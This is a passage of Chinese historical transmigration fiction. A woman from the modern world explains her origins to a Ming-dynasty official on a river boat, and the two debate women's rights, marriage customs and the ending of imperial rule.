她睡不着,索性起床穿衣,在外头天刚蒙蒙亮时起身往甲板去了。
房门一拉开,独属于夏日清晨的凉爽气息扑面而来,宋瑾嗅着那股潮湿阴凉的空气往甲板走去。
时辰尚早,甲板上空无一人,只见江面上雾气弥漫,顺着江面往前看去,竟有天地融合之象。不远处的群山云遮雾罩,像是盖上一顶连在一起的白色大帽子。忽地一阵风来,那山顶的云雾便以万马奔腾之势俯冲下来,朝山下村庄袭去。
脚下江流平稳,万籁俱寂,宋瑾撩起棉布衣摆,盘腿坐在甲板上,暂时获得一丝宁静。
季舒白走到甲板上的时候,就看见一个以盘腿之姿坐着的瘦小背影,乍一看,还以为哪家庙中的小沙弥在打坐,再一看方才辨清正是宋瑾。
“一大早的,怎么坐在这里?”
宋瑾看的发呆,身后来了人竟也不知晓,听见说话声才回头看去,就见季舒白高大身影站在背后。
“看风景。”
季舒白听了这话也抬头去看,忽然勾起嘴角一笑:“天接云涛连晓雾,确实不错。”
宋瑾听了眉头一皱,她最怕人念诗了,她背诗的最高水平在高中,如今都过去多少年了,哪还记得住几句啊。
“大人也要看风景?”
宋瑾岔开话题,怕他又出幺蛾子。
季舒白不答话,只垂下眼帘打量着坐在地上的宋瑾,看的宋瑾心里一阵发毛,也不知怎么的,她默默伸直了双腿,将膝盖并拢了。
这总可以了吧?
“你很奇怪。”
“哪里怪了?”
季舒白眯起眼睛,缓缓道:“你不善诗词,不会西厢,不识牌谱,却知道霍光霍显。”
他定了定,又问宋瑾:“这些东西都是从何而来?”
宋瑾咬了咬唇,她就知道蝴蝶效应终将显灵,劝他几句,他就得扒她。
“不是说了嘛,清虚天。”
季舒白轻笑一声:“事到如今,你还要蒙我?”
宋瑾将头别开,想了想才道:“大人当真要听?话可是很长的。”
“无妨,船上有空,本官可以坐下来慢慢听。”
说罢他往后退了半步,看着宋瑾,宋瑾也看着他。他看了看地,又看了看宋瑾,宋瑾还是盯着他。
他想让宋瑾帮他擦地再坐,宋瑾觉得他有病,爱坐不坐。
季舒白没有得逞,一双眼睛眯起来,嘴角勾起一抹笑意,转身走了。
宋瑾也不留他,不想听更好,免得浪费口舌。
谁知还没有得意多久,她便听见背后又传来脚步声。
季舒白搬着一把官帽椅过来了。
他把椅子摆在宋瑾身边,摆的正正的,衣摆轻轻一提,大马金刀地往那一坐。
这也就罢了,还转头给了宋瑾一个意味深长的笑意,
“如今你可以说了。”
西八!!!
宋瑾实在想骂人,可转念一想这词不能用啊,万一李成梁那老小子也说呢。
宋瑾恨恨地爬起身来,瞪了一眼季舒白,拔腿就往船舱里头跑,过不多时就见她颇为吃力地抱着一把一模一样的官帽椅出来了。
在宋瑾看来,季舒白这种人就是事多,明明可以坐地上,他偏要坐椅子上,无端高出宋瑾一截。宋瑾哪里能忍,转头就抱出一把一模一样的出来了。
她学着季舒白的样子,将那椅子摆的与他的平齐,也提了提衣摆,大马金刀地一坐。
这阵仗看的季舒白眉头一皱。
宋瑾那膝盖开的,能放进去一头肥猪了。
“你是女子。”
“我在扮演男子。”
“这里没有外人。”
“万一有人来了呢?”
“有本官在,无人敢疑你。”
季舒白终究忍不了她那姿势,强行要求她摆正些。
宋瑾其实也不适应那姿势,单纯想搬回一城罢了,见季舒白坚持,也就没有跟他抬杠,乖乖合拢了些。
“好了,开始说吧。”
宋瑾手肘撑着椅子扶
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手,听到季舒白这么一句话,一时竟不知道从哪里起头。
“大人为何不信清虚天?”
“如若真有,你为何归来?”
“万一是被罚的呢?”
“你犯了什么错?”
有时候撒谎比说实话还要难,面对季舒白,宋瑾关于清虚天的谎言圆不住。
她恨自己没有那编神话故事的能力。
“大人可曾听过天上一日,地上一年?”
“倒是听过,只是......”
“大人啊,”宋瑾一副语重心长的模样:“有些时候,有些事情,他看似荒唐,但你不妨一听。你若急着反驳,那也就不必再问。”
季舒白听到这里嘟囔一声:“好吧,你说。”
宋瑾问他:“大人可曾想过,这天其实是咱们这里呢?”
“什么?”
这句话也是宋瑾被逼急了,临时想出来的,连她自己都惊了一跳,觉得这是个绝妙的比喻。
季舒白也惊了一跳。
自古以来谈天论地,都是脚下为地,头顶为天,宋瑾可好,给它反过来了。
“大人听我慢慢给你讲。”
宋瑾将视线落在前方雾气氤氲的江面上。
“这天上一日地上一年,是个比方,但确实存在。”
“如何存在?”
宋瑾想了一想,没有答他,而是反问了一个问题。
“大人看这湖面,船在江上,即使无人划桨,顺着江流,这条船也能几日之内行到松江府。”
“大人可曾想过,同样都是水面,若是这船摆在季家老宅的池塘里呢?它能行去哪里?”
季舒白被他问的一愣,不禁反思起来。
家中池塘的水并非死水,但出水口是被拦住的,只能水流通过,若是摆上一只船,别说几日内行至松江府,只怕直到沉船那日也离不开季家池塘。
“它哪里也去不了。”
“这就对了嘛。”宋瑾奖赏季舒白一个大大的笑脸。
“你看,同样是船,同样是水,摆在江上便可日行千里,摆在家中,那就只能数着荷叶过日子。你若坐着这江船之上,那所见所闻是不是要比坐在家中那只船上要多上许多?”
季舒白皱着眉,抿着唇,暗暗点头觉得有理。
“大人可曾听过另一句话?”
“什么话?”季舒白被勾起了兴致,连身子也往宋瑾这边靠了靠。
“一花一世界,一叶一如来。”
季舒白皱起眉头,不大明白宋瑾此时提起这句话是什么意思。
“这是佛经中的一句话,有一个词语意思与它相近,叫见微知著,说的都是从细微处见乾坤。”
季舒白耐心听着,并不打断她。
“但是这微末之处并非人人可见,你看风,它明明,你却看不见。你看太阳,挂在空中照耀万物你却摸不着它。古人创造神话故事,是真是假如今已经很难求证,可是不能证明他在,那就一定是不在么?”
宋瑾想,数学才讲究严格的公式推导,哲学不讲究这个。
“你到底想说什么?”
“我要说的是,大人所看见的无限乾坤,或许只是藏在一朵花中。”
“荒谬,人怎么可能住在一朵花里。”
“死脑筋!”宋瑾毫不客气地骂他一句,骂的季舒白一愣。
“我只是给你打个比方,你把那花想象成皇宫那么大,想象成苏州府那么大,想象成大明这么大,是不是就合理了?”
“你想想,大明是朵花,暹罗是朵花,吕宋也是一朵花,这不就合理了嘛。”
“这花与花之间,就像国与国之间,一开始各自为据,并不接触,可在某些契机下他们中的几个人就碰上了,就像那花落地,砸了另一朵花一样,一开始并无关联,可后来就碰上了。”
“什么意思?”
“我的意思是,我碰上了另一个世界。”
季舒白的眉头拧成一股麻花。
“你?碰上了?另一个世界?”
“对,我碰上了。”宋瑾缓缓诉说起来:“我在柏家病了一场,将死之际去到了另一个世界,在那个世界里,我活了三十年,说起来和大人大不多年岁呢。可是等我醒来的时候,这个世界才不过过去几日而已。”
“我说咱们这里是天,指的是天上一日,地上一年里的天。我在那里生活了三十年,这里却只过去了几日,就是这样。”
季舒白瘫靠在椅子上,半晌没有说话,这个答案实在出乎意料,他需要好好想一想。
宋瑾也不催他,由他慢慢去想。
88. 机缘
“你为什么会碰上?”
季舒白想了半晌,问了一个问题。
“机缘。”宋瑾的回答简单又巧妙:“就像刚刚说的两艘船,将它比方为两个世界,其中一艘船塌了,散架了,木头四散飘去,其中一块撞上了,那便是机缘。”
“机缘,求不得,要不得,拒不得。”
季舒白哑口无言。
“季家池塘摆不下大船,若是那艘船真的塌了,那飘出来的浮木见到这艘船的时候,一定会惊讶,惊讶天下竟有这样的船,他毕生都不曾见过呢。”
“你说是吧,大人?”
宋瑾的一番话,算是把季舒白的所有路都堵死了,想去看,不可能,想让家里那艘船自行飘出来见识,那也不可能。
但是他又无法否定宋瑾的话,荒诞之中竟有无法反驳的逻辑。
“那依照你的说法,你在柏家并不识字,是在那个世界识得字?”
宋瑾点头:“是。”
“那我想问,为何那个世界也有霍光霍显?”
“大人呀,”宋瑾极耐心地道:“花花相似,叶叶相近,虽非一个模子刻出来的,也是万变不离其宗。就像这京城的蚂蚁和苏州的蚂蚁,虽然从未见过对方,但是行事作风,蚁族命运大致相同。”
“你可以将这大明比作一条苏州的小河,将那个世界比喻成这条江。水都在往海中流动,可江的速度更快,所以要早些到达目的地,也更早看到海的模样。但是这些水都发源于同一个地方,那就是太湖。相互同源,但速度不同,仅此而已。”
季舒白没有反驳她,而是问:“那你既然在那里停留了那么久,命运又大致相同,那么你也能知道张大人的命运,是不是?所以你才来提醒我。”
他想,若是宋瑾没有诓骗他,那么她在那里活了三十年,远比现在要大,经历要多,应该知道的更久远才对。
宋瑾眨巴了两下眼,给了他一个反问:“大人可还记得那只羊?”
季舒白点点头。
“你曾经劝我,那只羊终究要成为餐桌上的一道菜,我能做的,其实是改变它的死法,而非拯救它的命运。”
“大人曾经拿来劝我的话,如今竟然都忘记了么?”
季舒白忽然哑住了。
“大人啊,”宋瑾淡笑着劝他:“随心而动才最自在。”
“那你呢?”
“你问我?”宋瑾指着自己,季舒白点点头。
宋瑾大笑起来:“我呀,从不后悔放了那把火,也不后悔陷害大人。”
她死不悔改。
季舒白本有些难过,可见她做小人做的这般坦荡,他忽然大声笑起来,两个人笑得前仰后合。
大笑之后而来的却是虚空。
季舒白看着宋瑾,眼神不似以往那般,他的眼神像在看一个难解的谜题。
“能不能跟我说说那三十年的生活?什么身份?什么样的日子?”
他觉得宋瑾既然能在那里识文断字,那必然是过的不错的,只是居然不通诗文,又觉得奇怪起来。
宋瑾想了想,道:“大人,世界与世界相近,却又不尽相同。”
“何处不同?”
宋瑾又想了一想,才道:“比如他们不用牛耕地。”
“不用牛耕地?那用什么耕地?人么?”
季舒白好奇起来,整个人坐着歪到宋瑾这边来。
宋瑾也往那边凑了凑,神秘兮兮道:“他们用机器。”
“鸡—气?”
宋瑾挠了挠头,觉得这个概念太玄乎了,人是很难理解自己没有见过的东西的,而且很可能引发更多的疑问,还是不要纠结的好。
于是她想了想后改了口:“就是一种机,但是此机非彼鸡。”
这一下直接给季舒白绕懵了。
“你别管什么鸡,总之就是你可以把那个世界当成这个世界几百年后的样子,然后呢他们已经不用牛耕地了,而是用另一种东西。”
“那牛呢?”
对大明人而言,牛是很珍贵的动物,私宰耕牛触犯刑律,是要受处罚的。
从某种程度上来讲,与宋瑾这类家奴身份地位不相上下。
因此站在季舒白的角度,他实在难以理解牛不再耕地了。
“牛呢,不再耕地用,但是有奶牛肉牛,各种牛。”
季舒白的脑子受到不小的冲击:“肉牛?专门养牛吃牛肉?”
宋瑾点点头。
季舒白却撇了撇嘴,不明白牛肉有什么好吃的,干巴巴嚼不烂,直卡牙缝,价格卖的还不如鸡呢,他们居然爱吃。
“就这些?只有牛不一样?”
“当然不是了。比如说我吧,女子也能上学堂。”
“学堂?女子学堂?”
宋瑾摇头:“就是大家一起的学堂。”
季舒白皱起眉头来,连问都不知道该怎么问了。
“这......这个......是不是不大合适?”
宋瑾想了想,应当如何去解释呢?
“大人可曾听过卓文君?就是当垆卖酒的卓文君,与司马相如私奔的卓文君。”
季舒白眉头皱的更狠了。
卓文君他自然是听过的,只是那个时候还没有那么崇尚儒学,程朱理学更是不存在,所以对于女子的诸多要求并没有大明那样严苛。
“......听过。”季舒白犹犹豫豫的,生怕宋瑾再给他来一个震惊死人的消息。
“你看啊,这不同的朝代,风俗也不一样。那个世界的风俗呢,就跟大明不一样。比如在那个世界里出去读书才是对的,不读书才要挨罚。”
季舒白已经没办法接下去了,他甚至不知道该问些什么,只能从历史当中去寻找问题。
“那你们那里也私奔么?”
宋瑾噗嗤一声笑出来,笑得季舒白有些窘迫起来。
“你别笑话我。”
还真恼了。
宋瑾连忙收敛笑意,认真问道:“大人可还记得高策?”
“自然记得。”
“那我问你,若是改成洪武皇帝治国,那高策可还敢那般样貌?大人可还敢给我穿那山梗紫的锦衣?”
季舒白有些赌气:“早知要被你笑话,那日就不给你做了。”
宋瑾笑嘻嘻地哄他:“大人别恼嘛,我只是想说,哪怕是在咱们大明呢,那不同的时期,风土人情也会变化的。西汉有卓文君私奔,咱们大明有叶问芙偷情。”
“叶问芙是谁?”
“柏家四娘呀,还没成亲就与柏家老爷搅合到一起了,按照大明律法这算什么?通奸?”
季舒白一听是身边人事情,立刻又严肃起来:“若是最后成了亲,那便不好按通奸算,何况都无人告发,何来通奸?坊间谈论最多只是道德败坏。”
宋瑾一看他认真,连忙打断,免得给自己普法。
“大人,我说我家四娘的意思呀,是想说不管什么朝代,尊崇什么文化,那不守规矩的人,从来都不缺。汉有卓文君,明有叶问芙,在那个世界自然也缺不了的。”
季舒白听了这话,心里无端冒出一个疑问来,可又不好去问,只好在自己心里纠结。
他一纠结便不吭气,宋瑾见他不吭气,便只当自己把他唬住了,乐滋滋地问:
“大人没有问题啦?没有问题的话,我可就要把椅子送回去了。”
季舒白还是不吭气,垂着个头,想问又不好问的。
读书人的别扭感在他身上体现的淋漓尽致。
宋瑾知道他脑中在打架,也不想去猜,见他没有问题了,站起身来就要抱着椅子往船舱里去,结果季舒白一下拉住她的手腕。
“我还没问完呢。”
“那你倒是问啊,过了这个村可就没这个店了啊。”
宋瑾放下椅子,又重新坐了回去,等他发问。
“你们读书,也科举为官么?”<
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季舒白别扭半天,还是没把那个问题问出口,换了一个在他看来已经是非常破格的问题。
“不一定,读书识字,辨明是非,可以做很多事,不一定要去为官。”
“那你呢?你在那个世界三十年,是如何存活的?”
宋瑾那张充满狡黠的脸上忽然黯淡下来,季舒白怀疑自己说错了话,连忙道歉:“你若不想说......”
“可以说的,又不是什么见不得光的事情。其实和这个世界没有什么两样,睁眼,干活,赚钱,养自己。”
“然后呢?”
“然后?”
季舒白点点头:“养活自己然后呢?”
宋瑾想了想,然后是什么?
然后是她携款潜逃,一命呜呼,半日也没有享受到。
“没有然后,干了坏事遭了报应,死了,就又回来了。”说到这里的时候,宋瑾笑了笑,满是苦涩:“大人不是问我犯了什么错么?我就是犯了跟这个世界差不多的错,然后被打死了。”
“我没有机会找到一个像大人这样的人来被我威胁,自然就是死路一条。”
季舒白喃喃道:“威胁人不好,往后不要再做了。”
宋瑾咬着唇,没答话。
“往后有事,你可以来衙门里找我,若是不方便也可去季家老宅,陈妈妈会替你传话的,我能帮的都会帮你的。”
宋瑾坐在那里没有动,眼睛望着江面,氤氲雾气渐渐散去,江面却更加模糊起来。
“你没有成亲么?”
“嗯?”宋瑾正发着呆,忽然被季舒白眉头没脑的问了一句,一时竟没反应过来。
“我说你在那里待了三十年,难道没有成亲么?”
宋瑾轻笑一声:“没有,没成亲。”
季舒白心中涌起一股感受,他说不清是什么,大约是与喜悦相近的感受。
“为什么?”
“没遇上想成亲的人呗。”
“你想嫁什么样的人?”
宋瑾上辈子就被催婚,转个世还被问,她烦的不行,转头没好气问道:“大人如今几岁了?”
季舒白一愣,明明自己问她,怎的还被反问,而且语气相当不耐。
“......如今已近三十。”
“三十啦?你的好朋友柴大官人都两个孩子啦,你呢?再不加把劲儿人家孙子都要有了。”
宋瑾那张嘴,有时候实在招人恨。
季舒白被气了一下,沉默了半晌又问:“很讨厌被问这个问题么?”
“大人喜欢我问你为何一把年纪还不成亲啊?”
季舒白沉默了,忽然又认真起来:“不喜欢。”
这倒把宋瑾给弄懵了,她没想到他会认真回答这个问题。
“我这个年纪,若非家贫或丑陋不堪,几乎无人不成亲。我既然未曾成亲,自然是有我的缘由。”
宋瑾愣了愣:“你想跟我交换缘由啊?”
季舒白摇头:“不,可以不说。”
明明是他自己不想说,不过宋瑾确实省了事。
“你在那边过的开心,还是在这边过的开心?”
今天的季舒白好奇心无限,而宋瑾却不知道该怎么回答他。
蔓草的命运,自她来到便已改变,她过了那个年幼无知,无依无靠,惊恐不安的年岁,已经可以独自成事了。
所以她很难真正体会蔓草的苦难,但是宋瑾自己的就不好说了。
那些结结实实的苦难曾经压在她的肩头,让她很长时间里都无法喘息。
“大人,你觉得这大明的耕牛和那个世界的肉牛,谁的命运更好一些?”
“我不知道。”季舒白没见过那个世界,他答不上来。
宋瑾沉默半晌,忽然摆出一副轻松的样子来。
“其实我在那个世界好一点,牛就不一定了,嘿嘿。”
季舒白听了这个答案,内心闪过一丝落寞。
89. 思过
季舒白觉得自己输了,可又觉得不甘心,便开始追问:“好在哪里?”
宋瑾道:“比如说我这样的普通女子也可以读书识字啦,大小姐也可以随意出门见人啦,女子可以去赚钱养活自己啦,也可以选择不成亲啦。就算再差劲,也不可能卖身为奴,终身受人约束。总之呢,还是要比这个世界好上许多。”
听到这里,季舒白明白过来,当初宋瑾为何无所不用其极的要脱籍。
他其实很想探听宋瑾的隐私,比如为何不成亲,比如在那个世界里是不是接触过许多男子?是不是都曾跟他一样,坐在一起说话聊天?
又比如,那些男人在跟她说话时是什么心情?
是像自己那样么?
像一只船漂浮在海面上,忽高忽低,全然不由自己掌握。那种失控感让他沉迷,又让他害怕。
可他不敢问,生怕她又生气,给他一通阴阳怪气。
这个小人,不知道从什么时候开始没把他当大人了,他居然没有察觉到。
“那读书识字的女子,不为人家奴的话,做什么呢?也做厨子?”
季舒白的问题真是多,宋瑾有些不想回答。不是懒得回答,而是一旦回答了,她怕季舒白接受不了。万一误会自己在为自己的出格行为找托词,那就得不偿失了。
想当日,青杉给她科普这世界的阶层规则时,她不也是嗤之以鼻嘛?要不是身处这个世界,谁会轻易相信和接纳呀。
宋瑾怕季舒白接受不了,又怕季舒白失去好奇心,毕竟在这个世界能和她这样心平气和的谈论这个话题的,可能也就一个季舒白了,她还是很珍惜的。
想到这里的时候,宋瑾坐直了身子,认认真真地问了季舒白一个问题。
“大人啊,如果这个世界上没有皇上了,你觉得怎么样啊?”
季舒白的瞳孔瞬间放大:“这怎么可能?”
宋瑾笑了一笑,转而看向更远处。
“大人你看,这历史上从来都是一个政权推翻另一个政权,然后再复刻那个政权,然后再被推翻,再复刻。只有人变了,但是规则变化微乎其微。”
“如果有一天我告诉你,这天下的规则变了,你会怎么想?”
宋瑾咄咄逼人:“你能接受的了么?”
季舒白沉默了。
人变了,可以一切照旧。就像苏州知府换了人,但一切又好像没有变化。
但如果规则变了,那便是牵一发而动全身。
季舒白身在官场,自然明白这个道理。
那几乎是翻天覆地的变化。
关于宋瑾的问题,他一时竟回答不上来。
“大人,水里的鸭子在岸上养不好,院里的鸡在山上活不成。你既然已经在此地,就不要想着那里的规则,不然就会跟我一样,不知道要闯出什么祸事来。”
宋瑾说完便要走,季舒白的倔脾气却上来了,一手抓住她的手腕:
“等下,你得把话说完,我才不会像你那般莽撞,四处闯祸。”
宋瑾叹息一声:“大人啊,要说话你也得给我口水喝呀。自打早上起来,我没吃没喝说到现在,我要饿死了。”
季舒白这才反应过来,椅子也不管了,领着宋瑾往船舱里走去。
他还是不肯放弃,像是打开了一扇大门,今日必要一探究竟。
因此在宋瑾吃饭时,他疑问不断。
“你先别我管我受不受得了,你只管说就是。不是你说的么,见微知著,你说个小规则变化就是。”
宋瑾抓了只鸡腿在嘴里啃,说话时头也不抬:“我不是说了么,我这样的普通女子也能读书,大小姐也能随意出门见客。”
“那好,我问你,这女子随意出门,若是惹出是非了怎么办?”
宋瑾笑着反问:“大人,这大明女子一定没有是非啊?”
“自然是有,可若是在家中岂不是安全许多。”
他倒是不否认,宋瑾只得想一想怎么去答他。
现代女子随意出门比较安全,其实很多时候依赖社会治安和经济稳定,以及街上有无数的女人,一个不成完全可以换一个,不必走极端路线。
所以往前倒推几十年,在经济状况不佳的时候,也是很危险的,只是没有大明危险而已。
“大人,你说这宝石,是大街上随处可见时比较珍贵,还是家中只有一个时比较珍贵?”
“自然是只有一个时。”
“对呀,满大街的女子,想看就看了,总比那看不着心里痒痒的只能翻墙头要好,是不是?追求不着这个,你换一个就是,正常人不会在一棵树上吊死。”
“追......求?女子?”
季舒白这辈子只听过追求梦想,从未听过追求女子,那真不是流氓行径么?
婚姻之事都是父母之命媒妁之言,多数时候是没有选择的余地的。
他皱着眉头,都不知道该怎么去问了。
“那......那婚姻呢?”
“男女双方自由恋爱,男子愿娶,女子愿嫁便可。”
“那爹娘呢?爹娘若是不同意呢?”
“会有点影响,但是也有不听从的。”
季舒白这回连鼻子都皱了起来。
不像话。
太不像话了。
“那也不要媒人么?”
“可有可无吧,看风俗。”
“那成亲之后呢?怎么过日子?”
“工作,赚钱,有人生孩子,也有人不生孩子。”
宋瑾把话说的极其简单,可是越简单,季舒白的问题就越多。
“那生了孩子也要买乳娘么?”
宋瑾啃了一半的鸡腿还在嘴里,听了这话忍不住翻了个白眼,道:“蓄奴制度,并不是处处都有。”
说完又急急补充一句:“但是妄想当奴隶主的心,哪里都一样。”
“那没有家奴乳娘,你们怎么办?谁来喂养孩子?谁来生火做饭?那岂不是同村民一样?”
好一个何不食肉糜,哪怕是季舒白这种打小生活困顿快揭不开锅的,那也是有家奴的。
宋瑾咂摸了一下嘴,怎么说呢,还真是有点像,都是无产阶级嘛。
“那个......自己动手,丰衣足食。”
季舒白听了这话,身子往后微微一仰,眯着眼睛看向宋瑾。
他搞不明白,对宋瑾而言,那个世界究竟有什么好羡慕的。
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>宋瑾叫他看的十分不舒服,忍不住问:“有什么话你就说,这么看着我干嘛?”
季舒白老实不客气:“我不明白,你为什么会觉得那里比较好。”
“哪里不好了?”
“你看,在那个世界里,女子不仅要生孩子喂养孩子,要生火做饭,还要与男子一样出门赚钱养家,那岂不是付出更多?对女子而言,这好在哪里?明明比我大明的还要辛苦些啊。”
宋瑾不甘示弱:“当男子对你不好的时候,和离有底气呀。”
“你很奇怪。”
“我哪里奇怪了?”
“你在梦里成亲了么?”
宋瑾摇头。
“你看,你还未成亲便先考虑和离,还有,在县衙的时候,你翻看案卷,最关心的也是有关寡妇的案子。亲事未成,便先想着糟糕的结果,那还能有好结果么?”
宋瑾有些懵了。
“若是不打算成亲也就罢了,可若成亲,自然是要奔着一生一世去的,哪有还未定亲先考虑做寡妇的?”
宋瑾叫他说的无法反驳。
“莫非你想弑夫?”
“当然没有。”
“那就是你在害怕。”
季舒白的话像是一根绣花针,细细的,却精准地扎进了宋瑾的心里。
“你害怕在婚姻里吃亏受苦,你害怕无法应对,你害怕无法及时抽身,你害怕所托非人,所以你挑挑拣拣最后也没有成亲,觉得孤身一人才是最合适的。”
“但凡做事,你总考虑最糟的结果,那次你陷害我时也是如此。明明知道此事后果严重,可你还是做了。”
“柏家起火也是,只要有个认真的官员到场,你便难逃干系,你还是做了。”
“你做事顾头不顾尾,心里只想着就算是最坏的结果,自己一力承担便是了。你可曾想过,如果将来有一天,你闯的祸自己一人承担不了,要连累无辜的他人呢?你还是那么义无反顾,不会后悔么?若是那桩案子连累的不是申大人,而是你认识的潘大人,你还会照做不误么?”
宋瑾呆在那里,手里的鸡腿都不香了。
季舒白这个人骂人好脏啊。
“你这个人做事冲动,行事极端,应当好好改正才是。”
季舒白说的义正辞严,那股子正义之气几乎在他身上化了形,硬是压的宋瑾喘不过来气,一时竟忘了反驳,反倒开始反思起来了。
她错了?
她做过火了?
她害到人了?
“我......”
“大人。”
宋瑾说话的同时,青杉进来唤人,说是有人找他。宋瑾还没来的及问人在船上哪里来的人,季舒白就起身要出去了,急的宋瑾也一把拉住。
“我话还没说完呢。”
“等我回来再说。”
“我——”
“还有,好好想想我的话。”
宋瑾看着季舒白快步从屋里出去,留她一人抓着鸡腿思过。
思过?
思什么过?
她有什么过?
宋瑾狠狠地咬了一口鸡腿,誓要在下回扳回一城。
她输给谁也不能输给这个封建卫道士。
90. 梦蝶
季舒白走了,宋瑾觉得饭也不香了,茶也不香了,满脑子想的都是等会儿可别再叫他带着跑偏了。
然而季舒白一去不复返,她只得回屋等合适的时机,顺便理理思路。
有些时候,她觉得季舒白说的有理。
女子从封建社会到社会主义社会,扩展了新的权利,可是相对应的义务却没有分摊出去,而整个社会又强迫女人必须行使权利,也就是参与工作,赚钱养家。
换在大明,这样的男人是要被人骂死的,可是现代社会不论男女都对家庭主妇嗤之以鼻,仿佛那是懒惰,是万恶之源,教育子女成了无价之物,或者说低价之物。
真的是如此么?
宋瑾不觉得。
子女教育应是一个家庭里极为重要的事情,但是整个社会都在否定它的价值,于是不被承认。
可相对应的,你也会看到无数子女抱怨父母,像是一个恶性循环,一边觉得不重要,一边抱怨做的不好。
一件被认为无价值的事情,谁人会花费精力去做好呢?
宋瑾想到这里的时候不禁叹息一声,还好她没有子女,不然就以自己当年那种工作狂的状态,等孩子长大了,不知道要怎样疏远呢,没准互联网就要多一个责骂原生家庭的孩子。
可另一方面,她又觉得季舒白在转移话题,逮着机会就来数落她一顿。
明明就是想骂她,却偏偏找了个好理由,骂的她还不了口,气得宋瑾连吃鸡腿的胃口都没有了。
季舒白忙着,宋瑾便有了时间慢慢去想,可不知道怎么的,宋瑾越想越觉得疲惫。
权利与义务是一个太大的话题,不是一个三言两语便能说通的话题,更何况是在两种不同社会制度下长大的两个人,要想说通对方简直太难了。
又或者,他们并不需要说服对方。
想通了这点之后,宋瑾心中一下舒坦了许多,她窝在房间里,直到夜幕降临才重新出去。
夜晚的江面布满银色月光,四周并没有青蛙的声音,倒是有船桨拨动水流的声音。
宋瑾躺在甲板上,一双眼睛盯着黝黑又闪亮的星空。
还是少女时候的宋瑾曾经和妈妈一起躺在家里那张旧竹床上,在院子里看夏日的夜空。
她捱着妈妈,说起书上看到张衡数星星,于是她也跟着一起数,结果数不了几个就数糊涂了。
她记得清楚,那个时候的星星还是会闪的星星,还是布满天空的星星,可惜离家多年后,她再也没有见过那样的星空,也再也没有那样相互依偎的夜晚。
一双石青色缎子靴出现在宋瑾的身边,她啧了一声,一骨碌爬了起来,气哼哼地瞪着季舒白。
她不喜欢那样的视角,被人俯视的视角。
不知是没看见,还是没看清,季舒白没理她,只朝身后看了一眼,青杉便和另一个小厮端了两把椅子过来,并排放住后转身离开。
“坐吧。”
宋瑾怏怏地坐了。
“想的如何了?”
宋瑾撇了撇嘴,心中大为不满。
这男人明明长了一张漂亮的脸蛋,他不做音乐老师,不做美术老师,再不济做个体育老师呢?
他偏偏选了教导主任的本子,一脸教育人的模样,烦。
宋瑾看着他那张脸,月光之下更显棱角分明,一双眼睛满目星光,熠熠生辉。
宋瑾,你倒是骂他呀,你个没出息的颜狗!
“我错了。”
真没出息。
季舒白不知她心中真实想法,听了这话只觉得无比满意,笑着道:“那便好,往后行事不要再那般冲动,实在解决不了的问题可以来找我,我会尽力帮你。”
宋瑾觉得这样还行。
“好了,你早上不是说话还没说完么?怎么窝在房间里一整日也不出来找我?”
宋瑾歪着脑袋想了想,道:“大人,我想了一日终于想明白,那个世界不是我想要的,这个世界也不是我想要的。”
“那你想要什么样的?”
“我想要的世界......”宋瑾琢磨着用词:“应该是不提性别的。”
“什么意思?”季舒白彻底听不明白了,哪有不分性别的世界?自古以来男主外女主内,男人挣钱养家,女人生孩子照顾家庭,一直都是分配的好好的。
什么叫不提性别?
宋瑾道:“就是说起一件事情的时候,不以性别为前提,这才是我想要的世界。”
季舒白皱起眉头反问:“那生孩子怎么办?你总不能叫男人生吧?”
宋瑾笑道:“大人,你又提性别了。”
“不然呢?难道孩子不是女子来生么?”
宋瑾道:“我的意思是,一个人生不生孩子,不应该以性别为前提,而是看她想不想生。”
“这岂有想生不想生的?自然是有了便生。”
宋瑾糊涂,她忘了这世界没有避孕套,也没有有效的避孕药,强行打胎那可是要命的生意。
想了一整天,竟然没想到这个大BUG,她只得换个例子。
“我换个说法,比如读书科举为官当皇帝,如今是不是男人做的事情。”
“是。”
“那如果不以性别为前提呢?”
季舒白嗤笑一声:“你可是又要说我们男人把这里治理的稀烂?”
“大人,你好小气,哪有这么记仇的大人。”
“许你骂人,还不许我记仇么?”
“记记记,你好好记,最好记一辈子。”
季舒白竟也不恼,整个人靠在椅背上,看着天空道:“你呀,骂别人的时候特别利落,轮到自己了,就各种小心眼。”
“谁小心眼了?”
季舒白笑笑,也不跟她争辩,把宋瑾气的够呛。
“你接着说。”
“我说,这男人办事也就那样,武曌没治垮大唐,吕雉也没覆灭汉朝,古往今来不知道多少朝代是在男人手上葬送的。所以呀,这国家是否强盛,跟是男人管还是女人管没有关系。”
“那你赞同吕雉把戚夫人做成人彘,鸩杀刘如意?”
“刘邦逃亡路上还踹亲儿子呢。”
这对夫妻还要比谁更道德高尚么?
季舒白“嘶”的一声,坐直了身子,面朝宋瑾,仔仔细细地看她,看的她心里发毛。
“干嘛?”
季舒白想到一个问题,如果说陆蔓草真的够通过那一次“碰撞”进入另一个世界存活三十年的话,那么有没有另一种可能,就是眼前人其实是另一个世界经过“碰撞”来到这个世界的?
毕竟宋瑾明显对大明文化礼仪都算不上熟悉,倒是对另一个世界头头是道的。
“你,不是这里人吧?”
“什么不是这里人?”
季舒
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白笑笑,复又坐了回去:“没什么。”
“说话说一半,最是讨人厌了。”
“那你慢慢讨厌吧。”
“我才不费那个力气。”宋瑾低声嘟囔。
季舒白深吸一口气道:“我大致明白你想说的了,不过......”
“不过什么?”
这一回季舒白想了很久,问她:“你曾说,如果这世界没有皇帝了会怎样,你见过那种情况么?”
宋瑾压低了声音,做贼一般:“我见过。”
季舒白也学她压低声音:“那是怎样的?”
宋瑾想了想道:“这有皇帝,叫家天下,皇家便是国家,维护皇家声誉便是维护国家声誉,所以皇家最大。但皇家若是没有了,那就推举别人来管,过几年换一个。”
“啊?这怎么能换?”
“苏州知府不就换了么?”
“那岂能一样?”
“就是差不多啊,不过选定方式不同罢了。你们是官员推举,皇上选定,一道旨意,走马上任,对吧?”
季舒白点点头:“差不多。”
“在那里呢,也是百官选,但不一定是朝中官员来选。”
“那谁来选?”
宋瑾道:“那里有个新规则,叫人民代表大会制度......”
“人——民?”
“就是百姓。”
“哦,可是百姓种地还差不多,怎么会懂得国家治理之事?万一选错了怎么办?”
宋瑾啧了一声:“我不是跟你说了嘛,人人都读书,一层一层选上来。”
“就是选择乡绅?”
“那里没有乡绅一说,人人都读书,人人都识字,乡绅遍地走,就跟地上的蚂蚁似的。”
季舒白听到这里脸上一垮。
乡绅如地上的蚂蚁一般......遍地走?
那他这么多年的努力算什么?算白忙活么?
“那......那我......我们......”
“大人别怕,那边的事情妨碍不到这个世界的你。”
